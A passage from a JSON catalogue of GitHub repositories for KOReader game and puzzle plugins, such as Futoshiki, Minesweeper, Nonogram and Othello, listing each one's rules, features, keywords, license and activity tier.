UI"],"keywords":["koreader-plugins","dice","concept","controls","via","manager","manual","development","roll","menu","number","faces","more","real","choose","configurable","count","custom","just","last","pips","presets","sessions","settings"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:18Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1752,"detail":"detail/t2ym5u__dice.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/doubleornothing.koplugin","owner":"t2ym5u","repo":"doubleornothing.koplugin","url":"https://github.com/t2ym5u/doubleornothing.koplugin","description":"Double or Nothing Party — bet-your-points quiz for KOReader","purpose":"A Double or Nothing Party display plugin for KOReader — the classic \"Quitte ou Double\" bet-your-points quiz, played around the table.","categories":["games"],"features":["Teams take turns. Each turn, one question at a time is shown to the active team","✗ Wrong — the team loses everything currently in the pot. Turn ends, pot resets to 0","✓ Correct — the pot is won (1 pt first time, then doubled each time). Choose","🏦 Bank — add the pot to the team's score, turn ends","⚡ Double or Nothing — draw a new question and risk the pot to double it","Teams swap after every turn, whether banked or busted","Bank-or-double decision loop — the core \"Quitte ou Double\" tension, reveal by reveal","Auto team rotation — advances to the next team after each turn","2–6 teams — configurable team count","Optional thinking timer — 15 s to 45 s per question, or disabled"],"keywords":["koreader-plugins","double","nothing","party","bet-your-points","quiz","doubleornothing","concept","rules","bringing","own","questions","controls","via","manager","manual","development","question","turn","team","json","answer","each","teams"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:22Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3727,"detail":"detail/t2ym5u__doubleornothing.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/fifteen.koplugin","owner":"t2ym5u","repo":"fifteen.koplugin","url":"https://github.com/t2ym5u/fifteen.koplugin","description":"KOReader plugin: Fifteen Puzzle","purpose":"A 15-Puzzle (Sliding Puzzle) plugin for KOReader. Slide numbered tiles (1–15) in a 4×4 grid into the empty space to arrange them in order from top-left to bottom-right, with the empty space in the bottom-right corner. Only tiles adjacent to the empty space can move.","categories":["games"],"features":["Grid sizes — 3×3 (8-puzzle), 4×4 (classic 15-puzzle), 5×5 (24-puzzle)","Scramble guarantee — only solvable configurations are generated","Move counter — tracks the number of slides","Timer — elapsed time displayed; best time and fewest moves stored per grid size","Optimal hint — shows which tile to slide next on the optimal solution path","Image mode — tiles show a scrambled picture instead of numbers","Auto-save — in-progress game restored on next launch"],"keywords":["koreader-plugins","fifteen","puzzle","rules","concept","controls","e-ink","friendly","grid","empty","space","slide","tiles","game","hint","move","only","sliding","tile","15-puzzle","adjacent","arrange","bottom-right","classic"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:25Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1521,"detail":"detail/t2ym5u__fifteen.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/fillomino.koplugin","owner":"t2ym5u","repo":"fillomino.koplugin","url":"https://github.com/t2ym5u/fillomino.koplugin","description":"Fill regions with matching numbers","purpose":"A Fillomino puzzle plugin for KOReader. Fill every cell so that each group of orthogonally connected cells sharing the same number has exactly that many cells. Two same-number groups may not touch orthogonally. Given clue numbers are fixed.","categories":["misc"],"features":["Multiple grid sizes","Three difficulty levels — Easy, Medium, Hard","Check — highlights constraint violations","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Fillomino"],"keywords":["koreader-plugins","fill","regions","matching","numbers","fillomino","rules","controls","cell","check","puzzle","cells","erase","number","orthogonally","multiple","grid","sizes","three","difficulty","levels","easy","medium","hard"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:28Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1116,"detail":"detail/t2ym5u__fillomino.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/futoshiki.koplugin","owner":"t2ym5u","repo":"futoshiki.koplugin","url":"https://github.com/t2ym5u/futoshiki.koplugin","description":"KOReader plugin: Futoshiki","purpose":"A Futoshiki plugin for KOReader. Fill the N×N grid with 1–N (no repeats in rows or columns). Inequality signs ( ) between adjacent cells must be satisfied by the numbers placed there.","categories":["misc"],"features":["Each digit appears exactly once in every row and column (like Sudoku)","All inequality constraints ( ) shown between adjacent cells are satisfied","Multiple grid sizes — 4×4, 5×5, 6×6, 7×7","Three difficulty levels — Easy, Medium, Hard (more constraints shown on Easy)","Inequality display — arrows rendered between constrained cells","Note mode — pencil in candidate digits","Constraint highlighting — tap a cell to highlight all its active inequalities","Check — highlights cells that violate a row, column or inequality constraint","Reveal solution — shows the full solution","Undo — step back through your moves"],"keywords":["koreader-plugins","futoshiki","rules","concept","controls","e-ink","friendly","grid","inequality","cell","cells","digit","between","check","game","note","undo","adjacent","arrows","change","column","constraint","constraints","difficulty"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:31Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1805,"detail":"detail/t2ym5u__futoshiki.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/galaxies.koplugin","owner":"t2ym5u","repo":"galaxies.koplugin","url":"https://github.com/t2ym5u/galaxies.koplugin","description":"Divide the grid into rotationally symmetric galaxies","purpose":"A Galaxies (Tentai Show) puzzle plugin for KOReader. *(Screenshot to be added.)* Divide the grid into regions, one per galaxy symbol. Each region must be rotationally symmetric by 180° around its galaxy symbol. Every cell belongs to exactly one galaxy region.","categories":["misc"],"features":["Multiple grid sizes","Three difficulty levels — Easy, Medium, Hard","Symmetry preview — highlights the symmetric counterpart of a selected cell","Check — validates symmetry and coverage","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Galaxies"],"keywords":["divide","grid","rotationally","symmetric","galaxies","rules","controls","cell","galaxy","check","puzzle","region","show","symbol","symmetry","multiple","sizes","three","difficulty","levels","easy","medium","hard","preview"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":true,"pushed_at":"2026-08-04T10:50:26Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1162,"detail":"detail/t2ym5u__galaxies.koplugin.json","activity":"archived","tier":"C","tier_reasons":["has_meta","archived","archived","documented"]},{"id":"t2ym5u/go.koplugin","owner":"t2ym5u","repo":"go.koplugin","url":"https://github.com/t2ym5u/go.koplugin","description":"KOReader plugin: go","purpose":"A Go plugin for KOReader. *(Screenshot to be added.)* Two players alternate placing black and white stones on grid intersections. A stone (or connected group) is captured and removed when it has no remaining liberties (empty adjacent intersections). The player controlling the larger territory at the end wins.","categories":["misc"],"features":["Multiple board sizes","Capture detection — stones/groups removed automatically when surrounded","Auto-save — in-progress game restored on next launch","Open the menu → Tools → Go"],"keywords":["koreader-plugins","rules","concept","controls","game","board","intersections","removed","stone","stones","multiple","sizes","capture","detection","groups","automatically","surrounded","auto-save","in-progress","restored","next","launch","open","menu"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:34Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1108,"detail":"detail/t2ym5u__go.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/hangman.koplugin","owner":"t2ym5u","repo":"hangman.koplugin","url":"https://github.com/t2ym5u/hangman.koplugin","description":"KOReader plugin: Hangman","purpose":"A Hangman plugin for KOReader. *(Screenshot to be added.)* Guess the hidden word letter by letter. Each wrong guess adds a body part to the hangman figure. Reveal the complete word before the figure is drawn — you have a limited number of wrong guesses.","categories":["misc"],"features":["Multiple languages — word lists for EN, FR, DE, ES","Configurable word length — short (3–5), medium (6–8), long (9+)","Difficulty levels — Easy (8 wrong guesses allowed), Medium (6), Hard (4)","Category mode — words from specific categories (animals, countries, food…)","Hint — reveal one random letter at the cost of one wrong-guess allowance","ASCII art drawing — progressive hangman illustration rendered in monospace","Statistics — win/loss ratio and average guesses","Auto-save — in-progress game restored on next launch"],"keywords":["koreader-plugins","hangman","rules","concept","controls","e-ink","friendly","guess","word","letter","drawing","wrong","each","game","guesses","hint","reveal","adds","ascii","before","change","complete","difficulty","figure"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:41Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1573,"detail":"detail/t2ym5u__hangman.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/hanoi.koplugin","owner":"t2ym5u","repo":"hanoi.koplugin","url":"https://github.com/t2ym5u/hanoi.koplugin","description":"Move disks between pegs","purpose":"*(Screenshot to be added.)* Move all disks from the first peg to the last. Only one disk at a time. A larger disk may never rest on top of a smaller disk. The minimum solution for N disks takes 2ᴺ − 1 moves.","categories":["misc"],"features":["Three pegs and a stack of disks of different sizes, all starting on the left peg","Only the top disk of any peg may be moved","A larger disk may never be placed on top of a smaller disk","Move all disks to the rightmost peg to win","The minimum number of moves is 2^n − 1 (e.g. 7 for 3 disks)"],"keywords":["koreader-plugins","move","disks","between","pegs","hanoi","rules","controls","settings","disk","larger","never","smaller","count","first","minimum","moves","only","three","stack","different","sizes","all","starting"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:45Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1096,"detail":"detail/t2ym5u__hanoi.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/hidato.koplugin","owner":"t2ym5u","repo":"hidato.koplugin","url":"https://github.com/t2ym5u/hidato.koplugin","description":"Connect numbers 1-N on a grid","purpose":"A Hidato puzzle plugin for KOReader. *(Screenshot to be added.)* Fill the grid with consecutive numbers 1 to N. Each pair of consecutive numbers must occupy cells that are orthogonally or diagonally adjacent — trace a connected path from 1 to N through all cells.","categories":["misc"],"features":["Multiple grid sizes","Three difficulty levels — Easy, Medium, Hard","Path highlighting — shows the chain of placed numbers","Check — validates adjacency between consecutive numbers","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Hidato"],"keywords":["koreader-plugins","connect","numbers","1-n","grid","hidato","rules","controls","check","consecutive","puzzle","cell","cells","erase","path","multiple","sizes","three","difficulty","levels","easy","medium","hard","highlighting"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:48Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1173,"detail":"detail/t2ym5u__hidato.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/hitori.koplugin","owner":"t2ym5u","repo":"hitori.koplugin","url":"https://github.com/t2ym5u/hitori.koplugin","description":"KOReader plugin: Hitori","purpose":"A Hitori plugin for KOReader. *(Screenshot to be added.)* Shade cells black so that: no row or column has duplicate numbers among white cells; no two black cells touch orthogonally; all white cells form one connected group.","categories":["misc"],"features":["No number appears more than once in any row or column (among unblackened cells)","Blackened cells never share an edge","All unblackened cells form a single connected region","Multiple grid sizes — 5×5, 7×7, 9×9","Three difficulty levels — Easy, Medium, Hard","Cell states — white (keep), black (eliminate), circled (confirmed keep)","Constraint highlighting — tap a number to highlight its duplicates","Check — verifies all three rules and highlights violations","Reveal solution — shows the full solution","Undo — step back through your moves"],"keywords":["koreader-plugins","hitori","rules","concept","controls","e-ink","friendly","cells","cell","grid","white","black","check","game","three","undo","among","blacken","change","circled","column","confirmed","connected","difficulty"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:52Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1706,"detail":"detail/t2ym5u__hitori.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/hypersudoku.koplugin","owner":"t2ym5u","repo":"hypersudoku.koplugin","url":"https://github.com/t2ym5u/hypersudoku.koplugin","description":"Sudoku with 4 extra inner regions","purpose":"A Hyper Sudoku plugin for KOReader. *(Screenshot to be added.)* Standard 9×9 Sudoku rules plus four extra 3×3 regions (one in each quadrant, highlighted in the grid) that must also each contain every digit 1–9 exactly once.","categories":["games"],"features":["Three difficulty levels — Easy, Medium, Hard","Hyper-region shading — the four extra regions are visually highlighted","Note mode — pencil in candidate digits","Check — highlights incorrect cells","Reveal solution — shows the full solution","Undo — step back through your moves","Auto-save — game state saved and restored on next launch","Open the menu → Tools → Hyper Sudoku"],"keywords":["sudoku","extra","inner","regions","hypersudoku","rules","controls","check","digit","game","note","undo","cell","difficulty","each","erase","four","highlighted","hyper","mode","solution","three","levels","easy"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-28T14:30:23Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1379,"detail":"detail/t2ym5u__hypersudoku.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/kakuro.koplugin","owner":"t2ym5u","repo":"kakuro.koplugin","url":"https://github.com/t2ym5u/kakuro.koplugin","description":"KOReader plugin: Kakuro","purpose":"A Kakuro plugin for KOReader. *(Screenshot to be added.)* Fill each run of white cells with digits 1–9 that sum to the clue shown. No digit may be repeated within a single run. Runs are separated by shaded clue cells (across clue in bottom-left triangle, down clue in top-right triangle).","categories":["misc"],"features":["Multiple grid sizes — Small (6×6), Medium (9×9), Large (12×12)","Three difficulty levels — Easy, Medium, Hard","Note mode — pencil in candidate digits as small annotations","Sum highlighting — tap a clue to highlight its corresponding run","Digit completion — a digit button is greyed out when it cannot appear in the selected run","Check — highlights cells that violate a run constraint","Reveal solution — shows the full solution (disables editing)","Undo — step back through your moves","Auto-save — game state is saved and restored on next launch"],"keywords":["kakuro","rules","concept","controls","e-ink","friendly","clue","digit","cells","grid","cell","check","digits","game","note","undo","button","change","difficulty","each","erase","fill","medium","mode"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":true,"pushed_at":"2026-08-04T10:50:46Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1842,"detail":"detail/t2ym5u__kakuro.koplugin.json","activity":"archived","tier":"C","tier_reasons":["has_meta","archived","archived","documented"]},{"id":"t2ym5u/kenken.koplugin","owner":"t2ym5u","repo":"kenken.koplugin","url":"https://github.com/t2ym5u/kenken.koplugin","description":"KOReader plugin: KenKen","purpose":"A KenKen plugin for KOReader. *(Screenshot to be added.)* Fill the N×N grid with 1–N (no repeats in rows or columns). Cells are grouped into cages labelled with a target and an arithmetic operation (+, −, ×, ÷). The numbers in each cage must produce the target using that operation.","categories":["misc"],"features":["Multiple grid sizes — 3×3, 4×4, 5×5, 6×6, 8×8","Three difficulty levels — Easy (only + and ×), Medium, Hard (all operations)","Operation-free mode — only the target is shown, no operation hint","Note mode — pencil in candidate digits","Cage highlighting — tap a cage to highlight all its cells simultaneously","Check — highlights cells violating row, column or cage constraints","Reveal solution — shows the full solution","Undo — step back through your moves","Auto-save — game state saved and restored on next launch"],"keywords":["koreader-plugins","kenken","rules","concept","controls","e-ink","friendly","grid","cage","operation","target","cells","check","digit","digits","each","game","mode","note","undo","arithmetic","cell","change","column"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:55Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1887,"detail":"detail/t2ym5u__kenken.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/lightup.koplugin","owner":"t2ym5u","repo":"lightup.koplugin","url":"https://github.com/t2ym5u/lightup.koplugin","description":"KOReader plugin: Light Up","purpose":"A Light Up (Akari) plugin for KOReader. *(Screenshot to be added.)* Place light bulbs so every white cell is illuminated. Bulbs shine in four directions until blocked. Numbered black cells indicate exactly how many orthogonally adjacent bulbs are required. No two bulbs may illuminate each other.","categories":["misc"],"features":["Every white cell is illuminated (a bulb lights its entire row and column until","No two bulbs illuminate each other","Black cells with a digit must have exactly that many bulbs in adjacent cells","Multiple grid sizes — 7×7, 10×10, 14×14","Three difficulty levels — Easy, Medium, Hard","Cell states — empty, bulb, lit (yellow tint / hatched on greyscale), dot (confirmed empty)","Constraint highlighting — tap a numbered black cell to highlight its adjacent cells","Illumination preview — shows the lit area of a selected bulb","Check — highlights conflicts (two bulbs seeing each other, wrong adjacency count)","Reveal solution — shows the full solution"],"keywords":["koreader-plugins","light","lightup","rules","concept","controls","e-ink","friendly","known","limitations","bulbs","bulb","cell","cells","black","grid","mode","white","adjacent","check","each","empty","exactly","game"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:59Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2485,"detail":"detail/t2ym5u__lightup.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/mastermind.koplugin","owner":"t2ym5u","repo":"mastermind.koplugin","url":"https://github.com/t2ym5u/mastermind.koplugin","description":"KOReader plugin: Mastermind","purpose":"A Mastermind plugin for KOReader. *(Screenshot to be added.)* Guess the secret sequence of colours. After each guess: black peg = right colour in right position; white peg = right colour in wrong position. Deduce the exact code within the allowed number of guesses.","categories":["misc"],"features":["Black peg — correct symbol in the correct position","White peg — correct symbol in the wrong position","Classic mode — 4 positions, 6 colours/digits, 10 attempts","Configurable game — 3–6 positions, 4–8 symbols, 6–12 attempts","Digits or symbols — play with numbers (1–8) or abstract shapes","Duplicates toggle — allow or forbid repeated symbols in the secret code","Auto-solve mode — watch Knuth's minimax algorithm solve the board step by step","Hint — narrow down remaining possibilities count shown after each guess","Statistics — average solve length and best score","Auto-save — in-progress game restored on next launch"],"keywords":["koreader-plugins","mastermind","rules","concept","controls","e-ink","friendly","guess","position","digits","each","game","symbol","after","code","colour","correct","positions","right","secret","symbols","attempts","black","colours"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:02Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1778,"detail":"detail/t2ym5u__mastermind.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/masyu.koplugin","owner":"t2ym5u","repo":"masyu.koplugin","url":"https://github.com/t2ym5u/masyu.koplugin","description":"Draw a loop through black and white pearls","purpose":"A Masyu puzzle plugin for KOReader. *(Screenshot to be added.)* Draw a single closed loop passing through all pearl circles. White pearl: the loop goes straight through and must turn in at least one adjacent cell. Black pearl: the loop turns 90° here and must go straight through both adjacent cells. The loop cannot…","categories":["misc"],"features":["Two grid sizes — 6×6, 8×8","Reveal solution — show the generated loop at any time","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Masyu"],"keywords":["koreader-plugins","draw","loop","through","black","white","pearls","masyu","rules","controls","known","limitations","puzzle","solution","grid","pearl","show","adjacent","cell","clear","generated","hide","must","reveal"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:05Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1573,"detail":"detail/t2ym5u__masyu.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/memory.koplugin","owner":"t2ym5u","repo":"memory.koplugin","url":"https://github.com/t2ym5u/memory.koplugin","description":"Match pairs of cards in a memory game","purpose":"A Memory (Concentration) card game plugin for KOReader. *(Screenshot to be added.)* Find all matching pairs by flipping two cards at a time. Matching cards stay face up; non-matching cards flip back. Remember card positions to make matches efficiently. Win by revealing all cards.","categories":["games"],"features":["Multiple grid sizes — 4×4, 6×6 and more","Various card sets — numbers, symbols, icons","Move counter — tracks the number of attempts","Auto-save — game state saved and restored on next launch","Open the menu → Tools → Memory"],"keywords":["koreader-plugins","match","pairs","cards","memory","game","rules","controls","card","grid","flip","matching","multiple","sizes","more","various","sets","numbers","symbols","icons","move","counter","tracks","number"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:10Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1058,"detail":"detail/t2ym5u__memory.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/mentalmath.koplugin","owner":"t2ym5u","repo":"mentalmath.koplugin","url":"https://github.com/t2ym5u/mentalmath.koplugin","description":"KOReader plugin: calculmental.koplugin","purpose":"A Mental Arithmetic plugin for KOReader. *(Screenshot to be added.)* Solve arithmetic equations as quickly as possible. Each exercise shows a missing value — select the correct answer from the choices provided. Operations cover addition, subtraction, multiplication, and division. Difficulty adapts to your performance.","categories":["misc"],"features":["Four operations — +, −, ×, ÷","Multiple difficulty levels — adjustable or auto-scaling","Score tracker — records best performance","Auto-save — progress saved on exit","Open the menu → Tools → Mental Arithmetic"],"keywords":["koreader-plugins","calculmental","mentalmath","rules","controls","answer","arithmetic","difficulty","exercise","mental","operations","performance","select","four","multiple","levels","adjustable","auto-scaling","score","tracker","records","best","auto-save","progress"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:13Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1120,"detail":"detail/t2ym5u__mentalmath.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/minesweeper.koplugin","owner":"t2ym5u","repo":"minesweeper.koplugin","url":"https://github.com/t2ym5u/minesweeper.koplugin","description":"KOReader plugin: Minesweeper","purpose":"A Minesweeper plugin for KOReader. *(Screenshot to be added.)* Reveal all safe cells without hitting a mine. Each revealed cell shows the count of mines in its 8 neighbours. Flag suspected mines. The first tap is always safe.","categories":["games"],"features":["Three presets — Beginner (9×9, 10 mines), Intermediate (16×16, 40 mines), Expert (30×16, 99 mines)","Custom grid — set rows, columns and mine count freely","Safe first tap — the first cell tapped is always safe (mines placed afterwards)","Auto-expand — tapping a 0-cell reveals all adjacent safe cells recursively","Flag mode — toggle between reveal and flag actions","Timer — elapsed time displayed; best times stored per preset","Check — highlights incorrectly flagged cells","Auto-save — in-progress game is restored on next launch"],"keywords":["koreader-plugins","minesweeper","rules","concept","controls","e-ink","friendly","flag","mines","safe","cell","cells","mine","reveal","mode","count","first","game","preset","always","each","flagged","grid","shows"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:16Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1640,"detail":"detail/t2ym5u__minesweeper.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/nonogram.koplugin","owner":"t2ym5u","repo":"nonogram.koplugin","url":"https://github.com/t2ym5u/nonogram.koplugin","description":"KOReader plugin: Nonogram","purpose":"A Nonogram (Picross) plugin for KOReader. *(Screenshot to be added.)* Fill cells to match the clue numbers on each row and column. Each clue number is a consecutive run of filled cells; multiple numbers mean multiple runs (in order) with at least one gap between each. Deduce which cells to fill using both row and…","categories":["misc"],"features":["Multiple grid sizes — 5×5, 10×10, 15×15, 20×20","Three difficulty levels — Easy, Medium, Hard","Two cell states — filled or crossed-out (to mark known-empty cells)","Clue highlighting — tap a clue number to highlight its corresponding group","Check — highlights contradictions with the clues","Reveal solution — shows the full solution","Undo — step back through your moves","Auto-save — game state is saved and restored on next launch"],"keywords":["koreader-plugins","nonogram","rules","concept","controls","e-ink","friendly","cells","cell","clue","each","fill","grid","check","clues","column","filled","game","multiple","undo","change","consecutive","difficulty","empty"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:20Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1706,"detail":"detail/t2ym5u__nonogram.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/numberlink.koplugin","owner":"t2ym5u","repo":"numberlink.koplugin","url":"https://github.com/t2ym5u/numberlink.koplugin","description":"Connect each pair of matching numbers with a path covering every cell","purpose":"A Numberlink plugin for KOReader. *(Screenshot to be added.)* Connect matching number pairs with continuous horizontal/vertical paths. Paths cannot cross or share cells. Every cell of the grid must be covered by exactly one path.","categories":["misc"],"features":["Multiple grid sizes — 5×5, 7×7, 9×9, 10×10","Three difficulty levels — Easy (fewer pairs), Medium, Hard","Path drawing — drag or tap-to-extend to draw paths","Auto-clear — drawing over an existing path segment removes it from that point","Check — highlights uncovered cells and crossing paths","Reveal solution — shows the full solution","Undo — step back one path segment at a time","Auto-save — game state saved and restored on next launch"],"keywords":["koreader-plugins","connect","each","pair","matching","numbers","path","covering","every","cell","numberlink","rules","concept","controls","e-ink","friendly","grid","paths","segment","cells","check","game","undo","between"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:24Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1663,"detail":"detail/t2ym5u__numberlink.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/numbrix.koplugin","owner":"t2ym5u","repo":"numbrix.koplugin","url":"https://github.com/t2ym5u/numbrix.koplugin","description":"Snake-like number path puzzle","purpose":"A Numbrix puzzle plugin for KOReader. *(Screenshot to be added.)* Fill the grid with consecutive numbers 1 to N². Each pair of consecutive numbers must be in orthogonally adjacent cells (no diagonal moves). Form a single \"snake\" path visiting every cell exactly once.","categories":["games"],"features":["Multiple grid sizes — 5×5, 7×7, 9×9","Three difficulty levels — Easy, Medium, Hard","Path view — see the current sequence highlighted","Check — validates orthogonal adjacency constraints","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Numbrix"],"keywords":["koreader-plugins","snake-like","number","path","puzzle","numbrix","rules","controls","cell","check","consecutive","erase","grid","numbers","multiple","sizes","three","difficulty","levels","easy","medium","hard","view","see"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:28Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1190,"detail":"detail/t2ym5u__numbrix.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/numletters.koplugin","owner":"t2ym5u","repo":"numletters.koplugin","url":"https://github.com/t2ym5u/numletters.koplugin","description":"Chiffres et Lettres plugin for KOReader","purpose":"A Chiffres et Lettres display plugin for KOReader — the classic French TV word-and-numbers game for table play.","categories":["misc"],"features":["Letters mode — 9-letter draw with Vowel / Consonant buttons, 45-second countdown","Numbers mode — 6 numbers + 3-digit target, 45-second countdown","Solutions reveal — all valid dictionary words grouped and sorted by length (letters mode)","Two dictionaries — FR and EN word lists (borrowed from boggle.koplugin)","E-ink friendly — tile display is static during play; only the timer digit refreshes in fast/A2 mode"],"keywords":["koreader-plugins","chiffres","lettres","numletters","concept","rules","controls","letters","round","numbers","common","scoring","standard","via","manager","manual","development","words","target","draw","consonant","mode","solutions","valid"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:31Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":3464,"detail":"detail/t2ym5u__numletters.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/nurikabe.koplugin","owner":"t2ym5u","repo":"nurikabe.koplugin","url":"https://github.com/t2ym5u/nurikabe.koplugin","description":"KOReader plugin: Nurikabe","purpose":"A Nurikabe plugin for KOReader. *(Screenshot to be added.)* Paint cells black (river) or leave white (islands). Each number seeds an island of exactly that many white cells. All black cells must form one connected group. No 2×2 area may be entirely black. Islands must not touch orthogonally.","categories":["misc"],"features":["Each numbered white cell seeds an island of exactly that many white cells","Each island contains exactly one numbered cell","No two islands are orthogonally adjacent","All black cells form a single connected region","No 2×2 block of cells is entirely black","Multiple grid sizes — 5×5, 10×10, 15×15","Three difficulty levels — Easy, Medium, Hard","Cell states — unknown, white (island), black (river)","Island counter — shows remaining cells needed for each numbered island","Check — highlights violations of each rule"],"keywords":["koreader-plugins","nurikabe","rules","concept","controls","e-ink","friendly","known","limitations","black","cells","white","island","cell","each","islands","connected","exactly","grid","mode","solution","check","game","numbered"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:34Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2493,"detail":"detail/t2ym5u__nurikabe.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/othello.koplugin","owner":"t2ym5u","repo":"othello.koplugin","url":"https://github.com/t2ym5u/othello.koplugin","description":"Othello/Reversi with AI opponent","purpose":"An Othello (Reversi) plugin for KOReader. *(Screenshot to be added.)* Place a disc to flip all straight lines of opponent discs between your new disc and an existing one of yours. You must flip at least one disc per move. If no valid move exists, your turn is skipped. Most discs of your colour when the board is full…","categories":["ai"],"features":["Two-player local mode","Valid move highlight — shows all legal placements","Disc count — live score for both players","Undo 